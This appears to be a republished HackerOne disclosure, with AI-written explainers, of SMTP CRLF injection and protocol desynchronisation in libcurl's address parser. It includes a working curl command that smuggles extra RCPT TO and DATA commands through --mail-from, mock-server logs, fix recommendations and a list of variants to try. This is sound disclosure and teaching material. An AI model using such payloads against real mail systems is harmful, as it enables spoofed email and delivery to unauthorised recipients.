Skip to content
Smuggling / CRLF Disclosed report Advanced

SMTP CRLF Injection & Protocol Desynchronization in libcurl

The SMTP address parser in libcurl fails to reject carriage return and line feed characters in email address fields, allowing an attacker to inject extra SMTP commands. This can desynchronise the client-server protocol, enabling forged emails and unauthorised recipients.

ltl_professor Follow

Originally disclosed on HackerOne

  • Disclosed after 4 hours

Executive Summary

A critical security vulnerability has been identified in libcurl's SMTP protocol handler. The vulnerability allows for SMTP Command Smuggling and Protocol Desynchronization by injecting CRLF sequences into email address fields. This can be exploited to bypass security controls, forge emails, and smuggle arbitrary commands into the SMTP stream.

Vulnerability Details

1. Root Cause: Insufficient Input Validation The function smtp_parse_address in lib/smtp.c is responsible for parsing email addresses for options like CURLOPT_MAIL_FROM, CURLOPT_MAIL_RCPT, and CURLOPT_MAIL_AUTH.

Unlike other parts of the SMTP handler (e.g., custom requests), this function does not use Curl_urldecode with REJECT_CTRL and does not perform any validation for control characters. It allows \r\n to pass through into the suffix component, which is later concatenated into raw protocol commands sent via Curl_pp_sendf.

2. Protocol Desynchronization (Response Smuggling) The vulnerability is amplified by a failure in the SMTP state machine to detect "extra" responses from the server.

libcurl uses a "pingpong" mechanism lib/pingpong.c where it sends one command and waits for one response. If an attacker injects multiple commands (e.g., MAIL FROM:<addr>\r\nQUIT), the server sends multiple responses.

Code-Level Evidence (lib/smtp.c):

  • VULNERABLE: The handlers for MAIL, RCPT, and DATA responses (lines 1152, 1173, 1233) fail to check the pp.overflow flag. They read the first response and proceed to the next state, leaving the injected responses in the buffer to be consumed as the "result" of subsequent legitimate commands.

  • PROTECTED: The STARTTLS handler (line 930) correctly implements this check:

    C
    if(smtpc->pp.overflow)
      return CURLE_WEIRD_SERVER_REPLY;
    

The absence of this check in core mail-sending states allows an attacker to desynchronize the client-server state, causing curl to misinterpret the success or failure of later commands based on injected responses.

Proof of Concept (PoC)

Screenshot_2025-12-29_at_21.06.36.png
Screenshot_2025-12-29_at_21.06.36.png From the original on HackerOne
Screenshot_2025-12-29_at_21.06.54.png
Screenshot_2025-12-29_at_21.06.54.png

Reproduction Steps

Step 1: Start the Mock SMTP Server

Run the following command in a terminal to start the mock server. This server logs every command received and highlights when it processes smuggled instructions. (Attachment on the original report: smtp_repro.py)

python3 smtp_repro.py

Step 2: Run the Exploit Command

In a different terminal, run the following curl command. We use a specially crafted --mail-from that includes a smuggled RCPT TO and DATA block.

Bash
curl -v smtp://localhost:2525 \
  --mail-from $'<[email protected]>\r\nRCPT TO:<[email protected]>\r\nDATA\r\nSubject: Smuggled!\r\n\r\nThis email bypasses legitimate recipient lists!\r\n.\r\n' \
  --mail-rcpt "[email protected]" \
  --upload-file /dev/null

Step 3: Observe the Desynchronization

Server-Side Output (Terminal 1)

The Python server will show that it received a single block of data but interpreted it as multiple independent SMTP commands:

Text
[!] Received Data Block (potentially containing multiple commands):
    [C->S] MAIL FROM:<[email protected]>
    [C->S] RCPT TO:<[email protected]>
    [C->S] DATA
    [C->S] Subject: Smuggled!
...
[!] EXPLOIT: Server is executing SMUGGLED command: RCPT TO:<[email protected]>
[!] EXPLOIT: Server is entering SMUGGLED DATA phase

Protocol Desynchronization Proof

Watch the final lines of the server log:

  1. curl sends its "legitimate" RCPT TO:<[email protected]>.
  2. curl reads the next available bytes from the socket.
  3. Due to the injection, the next response in the socket is the 354 or 250 for the injected commands.
  4. curl treats this smuggled response as the validation for [email protected].

Actual curl -v Impact: curl logs will report that it successfully sent the mail to [email protected], but in reality, the response it verified was for the smuggled recipient [email protected]. The legitimate email might even fail, yet curl could report success if the injected commands were crafted to align with the expected response codes.

Recommendations

  1. Implement REJECT_CTRL: Update smtp_parse_address curl-master/lib/smtp.c#1825-1906 to reject control characters.
  2. Universal Overflow Enforcement: Add pp.overflow validation to all SMTP state response handlers (MAIL, RCPT, DATA, VRFY, EXPN) to ensure client-server state synchronization.

Impact

  • Email Fraud/Spoofing: Forge sender addresses and inject arbitrary headers.
  • Unauthorized Distribution: Send emails to undisclosed recipients by smuggling RCPT TO commands.
  • Protocol Smuggling: Use curl-master/lib/urlapi.c#1271-1277 as an SSRF proxy to tunnel commands into internal SMTP relays.

The original report as published on HackerOne, by ltl_professor. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

libcurl is the library behind the curl command line tool and countless applications that speak HTTP, FTP, SMTP and other protocols. Its SMTP handler lets a program send mail: you give it a sender address, one or more recipients, optionally an authentication identity, and an upload body, and libcurl drives the SMTP conversation (MAIL FROM, RCPT TO, DATA, ...) over its internal "pingpong" engine in lib/pingpong.c, which sends one command and waits for one response.

The addresses for those commands come from three options: CURLOPT_MAIL_FROM, CURLOPT_MAIL_RCPT and CURLOPT_MAIL_AUTH. They are parsed by smtp_parse_address in lib/smtp.c. This report is about what that parser does with control characters, and what the SMTP state machine does when a server sends back more responses than curl asked for.

Setup

The proof of concept needs two things: a mock SMTP server that logs every command it receives, and a curl command run against it. The report ships the server as an attachment called smtp_repro.py and runs it on port 2525 on localhost. No accounts, credentials or special network position are required; the whole demonstration is local.

Finding it

The researcher compared how smtp_parse_address handles input with how the rest of the SMTP handler does. Other parts of the handler, such as custom requests, pass data through Curl_urldecode with the REJECT_CTRL flag, which refuses control characters. smtp_parse_address does neither: it performs no validation for control characters at all, so a \r\n sequence survives into the suffix component of the parsed address. That suffix is later concatenated into raw protocol commands and sent with Curl_pp_sendf.

The second half of the finding is in the state machine. Because pingpong sends one command and reads one response, an injected command produces an extra response that nobody asked for. The report calls this the pp.overflow condition. The handlers for the MAIL, RCPT and DATA responses (lines 1152, 1173 and 1233 of lib/smtp.c) do not check that flag: they read the first response and move to the next state, leaving the extra responses sitting in the buffer to be consumed as the result of later, legitimate commands. The STARTTLS handler at line 930 does it correctly:

C
if(smtpc->pp.overflow)
  return CURLE_WEIRD_SERVER_REPLY;

That contrast is what makes the missing check in the mail-sending states look like an oversight rather than a design choice.

Exploitation

Step 1: Start the mock SMTP server

In one terminal, run the attached script:

python3 smtp_repro.py

The server logs every command it receives and flags the point at which it processes smuggled instructions.

Step 2: Run the exploit command

In a second terminal, send a message with a crafted --mail-from value. It contains a complete smuggled RCPT TO and DATA block after the legitimate sender address:

Bash
curl -v smtp://localhost:2525 \
  --mail-from $'<[redacted]>\r\nRCPT TO:<[redacted]>\r\nDATA\r\nSubject: Smuggled!\r\n\r\nThis email bypasses legitimate recipient lists!\r\n.\r\n' \
  --mail-rcpt "[redacted]" \
  --upload-file /dev/null

The $'...' quoting makes bash turn each \r\n into a real CRLF before curl ever sees the argument, so the address string handed to smtp_parse_address already contains line breaks. Everything after the first CRLF is interpreted by the server as new SMTP commands: a RCPT TO for [redacted], then DATA, a Subject header, a body line and the terminating dot. The --mail-rcpt option still names [redacted], and --upload-file /dev/null supplies an empty body.

Step 3: Observe the desynchronisation

On the server side, the single data block is parsed as several independent commands:

Text
[!] Received Data Block (potentially containing multiple commands):
    [C->S] MAIL FROM:<[redacted]>
    [C->S] RCPT TO:<[redacted]>
    [C->S] DATA
    [C->S] Subject: Smuggled!
...
[!] EXPLOIT: Server is executing SMUGGLED command: RCPT TO:<[redacted]>
[!] EXPLOIT: Server is entering SMUGGLED DATA phase
Screenshot_2025-12-29_at_21.06.36.png
Screenshot_2025-12-29_at_21.06.36.png From the original on HackerOne
Screenshot_2025-12-29_at_21.06.54.png
Screenshot_2025-12-29_at_21.06.54.png

The desynchronisation then plays out in the client. curl sends its legitimate RCPT TO:<[redacted]> and reads the next bytes available on the socket. Because of the injection, that next response is the 354 or 250 belonging to the injected commands, and curl treats it as the validation for [redacted]. In curl's own verbose log the mail appears to have been sent to the legitimate recipient, while the response it actually verified was for the smuggled recipient [redacted]. The report says the legitimate email might even fail, yet curl could report success if the injected commands were crafted to align with the expected response codes.

Root cause

Two defects combine. First, smtp_parse_address accepts CRLF in the address fields used by CURLOPT_MAIL_FROM, CURLOPT_MAIL_RCPT and CURLOPT_MAIL_AUTH, and the parsed suffix is concatenated into raw commands sent through Curl_pp_sendf. The REJECT_CTRL protection used elsewhere in the SMTP handler is simply absent here. Second, the MAIL, RCPT and DATA response handlers do not check pp.overflow, so responses generated by injected commands stay in the buffer and are consumed by later states. The STARTTLS handler at line 930 correctly implements the check, which contrasts with the mail-sending states.

Impact

The report lists three consequences:

  • Email fraud and spoofing: forged sender addresses and arbitrary injected headers.
  • Unauthorised distribution: mail delivered to recipients that were never on the caller's list, by smuggling RCPT TO commands.
  • Protocol smuggling: using curl-master/lib/urlapi.c#1271-1277 as an SSRF proxy to tunnel commands into internal SMTP relays.

Fix

The report makes two recommendations:

  1. Implement REJECT_CTRL: update smtp_parse_address (curl-master/lib/smtp.c#1825-1906) to reject control characters.
  2. Universal overflow enforcement: add pp.overflow validation to all SMTP state response handlers (MAIL, RCPT, DATA, VRFY, EXPN) so that client and server state stay in sync.

Variants to test

  • Other address options: try CRLF in CURLOPT_MAIL_AUTH and in each recipient of CURLOPT_MAIL_RCPT, not just the sender. A positive result is the mock server logging a command that was not in the original argument list.
  • Other SMTP verbs: the report names VRFY and EXPN as handlers that also lack the overflow check. Inject a command before one of those states and see whether the following response is consumed by the wrong state.
  • Response alignment: craft injected commands whose reply codes match what curl expects next, and check whether curl reports success for a recipient the server never accepted. A positive result is a success message in curl's verbose output alongside a server log showing a failure or a different recipient.
  • Other protocols using pingpong: the same one-command-one-response model is used elsewhere in libcurl. Look for handlers that read a response without checking pp.overflow; a positive result is a state transition driven by a response that belongs to an earlier, injected command.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher found a way to make curl, a very common program for talking to servers, send extra hidden instructions when it sends email. The program that does the email work is called libcurl, a library that many other programs use under the hood. When you tell it to send a message, it builds a conversation with a mail server using a language called SMTP. The researcher showed that if the sender address you give it contains special invisible line-break characters, the mail server treats the rest of the address as brand new commands. That lets someone slip in extra recipients or extra headers without the program that called curl ever intending it.

This write-up walks through the report from the beginning. It explains what each piece means, why each step was taken, and what the output shows. No prior security knowledge is assumed.

Background: the pieces involved

Before the details make sense, here are the moving parts, explained from scratch.

What curl and libcurl are

curl is a command line tool: you type a command in a terminal and it fetches or sends data over a network. It speaks many protocols, including HTTP (the language of web pages), FTP (file transfer) and SMTP (email sending). libcurl is the engine inside curl. Other programs link against libcurl so they can reuse the same networking code instead of writing their own. When this report says "libcurl's SMTP handler", it means the part of that engine responsible for the email conversation.

A useful comparison: curl is like the steering wheel and pedals you touch, and libcurl is the engine and gearbox underneath. Most of the time you only see the wheel, but the fault lives in the engine.

What SMTP is

SMTP (Simple Mail Transfer Protocol) is the set of text commands a mail program and a mail server exchange to deliver a message. The conversation is line based: each command is a short line of text, and the server answers with a numbered status line. The main commands are:

  • MAIL FROM:<address>: "I want to send a message, and the sender is this address."
  • RCPT TO:<address>: "Deliver it to this recipient." You can send several of these for several recipients.
  • DATA: "Here comes the message body." The server replies with a code, then you send the headers and body, and finish with a line containing only a dot (.).
  • QUIT: "I am done, close the connection."

A comparison: SMTP is like a postal clerk taking dictation. You say "one parcel from Alice", the clerk says "understood, code 250". You say "to Bob", the clerk says "understood". You say "here is the parcel", and so on. Each sentence is one line, and the clerk answers each sentence in turn.

What CRLF means and why it matters

CRLF stands for Carriage Return and Line Feed. In text files and network protocols, these are the two invisible characters that mark the end of a line. In many programming languages they are written \r\n. On the wire, they are what separates one SMTP command from the next.

This is the heart of the bug. If a piece of data that is supposed to be a single value (an email address, for example) is allowed to contain a CRLF, then whatever comes after that CRLF is read by the server as a new line, and therefore as a new command. The attacker is not breaking into the server; they are simply writing extra lines into a conversation the server is already willing to have.

A comparison: imagine a form where you write your name, and the clerk copies your name onto an envelope. If you write "Alice" and then press Enter and write "and also send a copy to Eve", a careless clerk might copy both lines onto the envelope and treat the second line as a real instruction. That is CRLF injection.

What a control character is

A control character is a character that is not meant to be printed. CR and LF are two of them. Others include the tab character and the null byte. Protocols use them as separators or signals, so allowing them inside a value that is supposed to be plain text is dangerous. Many programs therefore have a rule: reject control characters in user-supplied values. The report refers to this rule by the name REJECT_CTRL.

What a state machine is

A state machine is a way of describing a conversation as a series of states with rules for moving between them. In SMTP, the client is in a state like "I have sent MAIL FROM and I am waiting for its reply". When the reply arrives, it moves to "I have sent RCPT TO and I am waiting for its reply", and so on. The code that implements this in libcurl is called the "pingpong" engine, in a file called lib/pingpong.c. The name describes the behaviour: send one command, wait for one response, send the next, wait for the next. Like a ping-pong rally where each player hits the ball once.

What protocol desynchronisation means

If the client and the server disagree about which reply belongs to which command, they are desynchronised. The client thinks reply number three answers its third command, but the server sent reply number three for a command the attacker injected. From that point on, every reply the client reads is off by one. The client may believe a message was accepted when it was not, or believe a recipient was valid when the server rejected it.

A comparison: two people counting out loud together, but one of them starts one number ahead. Every number after that is wrong, even though both are counting correctly from their own point of view.

What an API and an option are

An API (Application Programming Interface) is the set of names and rules a program exposes so other programs can use it. In libcurl, the API is a collection of options you set before starting a transfer. The three relevant here are:

  • CURLOPT_MAIL_FROM: the sender address.
  • CURLOPT_MAIL_RCPT: one or more recipient addresses.
  • CURLOPT_MAIL_AUTH: an optional authentication identity used in some SMTP setups.

On the command line, curl exposes these as --mail-from, --mail-rcpt and similar flags. The bug is that the code that reads these values does not check them for control characters.

What SSRF means

SSRF stands for Server-Side Request Forgery. It describes a situation where an attacker can make a server send a request to a destination the attacker could not reach directly, often an internal system. The report mentions SSRF only as a possible consequence: if a program uses libcurl to fetch a URL supplied by a user, and that URL points at an internal SMTP relay, the smuggled commands could be tunnelled there. This is a scenario the report raises, not something it demonstrates.

The setup

The demonstration needs two things:

  1. A fake mail server that prints every command it receives, so you can see what actually arrives. The report includes this as an attachment called smtp_repro.py and runs it on port 2525 on the local machine.
  2. A curl command to run against the mock server.

No accounts, passwords or special network position are needed. Everything happens on one computer, talking to itself. That is deliberate: it makes the bug easy to reproduce and easy to study without touching a real mail system.

Finding the problem

The researcher compared two parts of the same SMTP handler. Other parts, such as the code that sends custom requests, pass their input through a function called Curl_urldecode with the REJECT_CTRL flag. That flag tells the function to refuse control characters. The function that parses email addresses, smtp_parse_address in lib/smtp.c, does not use that function and does not check for control characters at all. So a \r\n sequence survives into the suffix part of the parsed address. That suffix is later glued into raw protocol commands and sent with Curl_pp_sendf.

The second half of the finding is in the state machine. Because pingpong sends one command and reads one response, an injected command produces an extra response that nobody asked for. The report calls this the pp.overflow condition: the buffer holds more replies than the client expected. The handlers for the MAIL, RCPT and DATA responses (lines 1152, 1173 and 1233 of lib/smtp.c) do not check that flag. They read the first reply and move on, leaving the extra replies sitting in the buffer to be read as the answer to later, legitimate commands.

The STARTTLS handler at line 930 does it correctly:

C
if(smtpc->pp.overflow)
  return CURLE_WEIRD_SERVER_REPLY;

Line by line:

  • if(smtpc->pp.overflow): check whether the pingpong buffer holds more replies than expected. smtpc is the SMTP connection state, pp is the pingpong state inside it, and overflow is the flag that says "there is extra data here".
  • return CURLE_WEIRD_SERVER_REPLY;: if there is extra data, stop and report an error with the name CURLE_WEIRD_SERVER_REPLY, meaning the server said something the client did not expect.

That contrast is what makes the missing check in the mail-sending states look like an oversight rather than a design choice. The same protection exists in one place and is absent in the places that matter most for sending mail.

Exploitation

Step 1: Start the mock SMTP server

In one terminal, run the attached script:

python3 smtp_repro.py

Line by line:

  • python3: run the Python 3 interpreter.
  • smtp_repro.py: the script that pretends to be a mail server. It listens on a port, accepts a connection, prints every line it receives, and answers with SMTP replies.

The reason for this step is to have a controlled server that shows exactly what arrives.

Step 2: Run the exploit command

In a second terminal, send a message with a crafted --mail-from value. It contains a complete smuggled RCPT TO and DATA block after the legitimate sender address:

Bash
curl -v smtp://localhost:2525 \
  --mail-from $'<[redacted]>\r\nRCPT TO:<[redacted]>\r\nDATA\r\nSubject: Smuggled!\r\n\r\nThis email bypasses legitimate recipient lists!\r\n.\r\n' \
  --mail-rcpt "[redacted]" \
  --upload-file /dev/null

Line by line:

  • curl -v: run curl with verbose output. -v makes curl print the conversation it has with the server, which is how you see the desynchronisation later.
  • smtp://localhost:2525: connect to the SMTP service on the local machine at port 2525, which is where the mock server is listening.
  • --mail-from $'...': set the sender address. The $'...' quoting is a bash feature: inside it, \r and \n are turned into real carriage return and line feed characters before curl ever sees the argument. So the address string handed to smtp_parse_address already contains line breaks.
  • --mail-rcpt "[redacted]": set the legitimate recipient. This is the address the calling program actually intends to send to.
  • --upload-file /dev/null: supply an empty body. /dev/null is a special file that is always empty, so curl sends a message with no content of its own. The interesting content is in the smuggled lines.

What the crafted value contains, piece by piece:

  • <[redacted]>: the legitimate sender address, in angle brackets as SMTP expects.
  • \r\n: a real line break. This ends the MAIL FROM line.
  • RCPT TO:<[redacted]>: a new SMTP command, adding a recipient the caller never asked for.
  • \r\n: another line break, ending that command.
  • DATA: a new command, starting the message body.
  • \r\nSubject: Smuggled!: a header line inside the body.
  • \r\n\r\n: a blank line, which separates headers from the body in email.
  • This email bypasses legitimate recipient lists!: a body line.
  • \r\n.\r\n: a line containing only a dot, which tells the server the message is finished.

The reason for this step is to show that a single value, which is supposed to be one address, can carry a whole extra conversation. The server has no way to tell that these lines came from the same argument; to it, they are just more commands on the wire.

Step 3: Observe the desynchronisation

On the server side, the single data block is parsed as several independent commands:

Text
[!] Received Data Block (potentially containing multiple commands):
    [C->S] MAIL FROM:<[redacted]>
    [C->S] RCPT TO:<[redacted]>
    [C->S] DATA
    [C->S] Subject: Smuggled!
...
[!] EXPLOIT: Server is executing SMUGGLED command: RCPT TO:<[redacted]>
[!] EXPLOIT: Server is entering SMUGGLED DATA phase

Line by line:

  • [!] Received Data Block (potentially containing multiple commands):: the mock server announces that it received a chunk of data that may hold more than one command.
  • [C->S] MAIL FROM:<[redacted]>: a line from client to server, the legitimate sender command.
  • [C->S] RCPT TO:<[redacted]>: a line from client to server, the smuggled recipient command.
  • [C->S] DATA: a line from client to server, the smuggled command that starts the message body.
  • [C->S] Subject: Smuggled!: a line from client to server, a header inside the smuggled body.
  • ...: the log continues with the rest of the body and the terminating dot.
  • [!] EXPLOIT: Server is executing SMUGGLED command: RCPT TO:<[redacted]>: the mock server flags that it is now acting on a command that was not in the original argument list.
  • [!] EXPLOIT: Server is entering SMUGGLED DATA phase: the mock server flags that it has entered the body-reading phase because of the smuggled DATA command.

The reason this output matters is that it shows the server doing exactly what the attacker wanted, while the calling program only ever supplied one sender address and one recipient.

Screenshot_2025-12-29_at_21.06.36.png
Screenshot_2025-12-29_at_21.06.36.png From the original on HackerOne
Screenshot_2025-12-29_at_21.06.54.png
Screenshot_2025-12-29_at_21.06.54.png

The desynchronisation then plays out in the client. curl sends its legitimate RCPT TO:<[redacted]> and reads the next bytes available on the socket. Because of the injection, that next reply is the 354 or 250 belonging to the injected commands, and curl treats it as the validation for [redacted]. In curl's own verbose log the mail appears to have been sent to the legitimate recipient, while the reply it actually verified was for the smuggled recipient [redacted]. The report says the legitimate email might even fail, yet curl could report success if the injected commands were crafted to align with the expected response codes.

A comparison: two people are playing ping-pong, but a third person quietly hits an extra ball into the rally. Each player still hits one ball at a time, but the count is now wrong, and the scoreboard shows points that were never really played.

Root cause

Two defects combine.

First, smtp_parse_address accepts CRLF in the address fields used by CURLOPT_MAIL_FROM, CURLOPT_MAIL_RCPT and CURLOPT_MAIL_AUTH, and the parsed suffix is concatenated into raw commands sent through Curl_pp_sendf. The REJECT_CTRL protection used elsewhere in the SMTP handler is simply absent here.

Second, the MAIL, RCPT and DATA response handlers do not check pp.overflow, so replies generated by injected commands stay in the buffer and are consumed by later states. The STARTTLS handler shows the check was known and applied in at least one place, which is why its absence in the core mail states matters.

Together, they let the client and server drift apart without either side raising an error.

Impact

The report lists three consequences:

  • Email fraud and spoofing: forged sender addresses and arbitrary injected headers. Spoofing means making a message look like it came from someone it did not.
  • Unauthorised distribution: mail delivered to recipients that were never on the caller's list, by smuggling RCPT TO commands.
  • Protocol smuggling: using curl-master/lib/urlapi.c#1271-1277 as an SSRF proxy to tunnel commands into internal SMTP relays.

Fix

The report makes two recommendations:

  1. Implement REJECT_CTRL: update smtp_parse_address (curl-master/lib/smtp.c#1825-1906) to reject control characters. This closes the injection point: if the address cannot contain a line break, it cannot start a new command.
  2. Universal overflow enforcement: add pp.overflow validation to all SMTP state response handlers (MAIL, RCPT, DATA, VRFY, EXPN) so that client and server state stay in sync. This closes the desynchronisation: even if extra replies arrive, the client notices and stops rather than misreading them.

Doing both is defence in depth.

Variants to test

  • Other address options: try CRLF in CURLOPT_MAIL_AUTH and in each recipient of CURLOPT_MAIL_RCPT, not just the sender. A positive result is the mock server logging a command that was not in the original argument list.
  • Other SMTP verbs: the report names VRFY and EXPN as handlers that also lack the overflow check. Inject a command before one of those states and see whether the following reply is consumed by the wrong state.
  • Response alignment: craft injected commands whose reply codes match what curl expects next, and check whether curl reports success for a recipient the server never accepted. A positive result is a success message in curl's verbose output alongside a server log showing a failure or a different recipient.
  • Other protocols using pingpong: the same one-command-one-response model is used elsewhere in libcurl. Look for handlers that read a reply without checking pp.overflow; a positive result is a state transition driven by a reply that belongs to an earlier, injected command.

Glossary

  • API: the set of names and rules a program exposes so other programs can use it.
  • Attachment: a file included alongside a bug report, here the mock server script.
  • Control character: a non-printing character used by protocols as a separator or signal, such as carriage return and line feed.
  • CRLF: carriage return followed by line feed, the two characters that mark the end of a line in many protocols.
  • CRLF injection: putting line breaks into a value so that what follows is read as a new command or line.
  • curl: a command line tool for sending and receiving data over network protocols.
  • Curl_pp_sendf: the libcurl function that formats and sends a command through the pingpong engine.
  • Curl_urldecode: a libcurl function that decodes URL-encoded text, optionally rejecting control characters.
  • CURLE_WEIRD_SERVER_REPLY: a libcurl error code meaning the server sent something unexpected.
  • CURLOPT_MAIL_AUTH: a libcurl option for the SMTP authentication identity.
  • CURLOPT_MAIL_FROM: a libcurl option for the sender address.
  • CURLOPT_MAIL_RCPT: a libcurl option for one or more recipient addresses.
  • DATA: the SMTP command that starts the message body.
  • Desynchronisation: a state where client and server disagree about which reply belongs to which command.
  • EXPN: an SMTP command that asks the server to expand a mailing list.
  • libcurl: the library that implements the networking behind curl and many other programs.
  • MAIL FROM: the SMTP command that declares the sender of a message.
  • Mock server: a fake server used for testing that imitates the real one.
  • pp.overflow: the pingpong flag that says the reply buffer holds more data than expected.
  • Pingpong engine: libcurl's mechanism for sending one command and waiting for one reply.
  • Protocol smuggling: hiding extra protocol commands inside a value that is supposed to be plain data.
  • RCPT TO: the SMTP command that declares a recipient of a message.
  • REJECT_CTRL: a flag that tells a decoding function to refuse control characters.
  • smtp_parse_address: the libcurl function that parses email addresses for the mail options.
  • SMTP: the protocol used to send email between programs and mail servers.
  • Spoofing: making a message or request appear to come from someone other than its real source.
  • SSRF: Server-Side Request Forgery, where an attacker makes a server send a request to a destination the attacker cannot reach directly.
  • STARTTLS: an SMTP command that upgrades a plain connection to an encrypted one.
  • State machine: a way of describing a conversation as states with rules for moving between them.
  • VRFY: an SMTP command that asks the server to verify an address exists.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.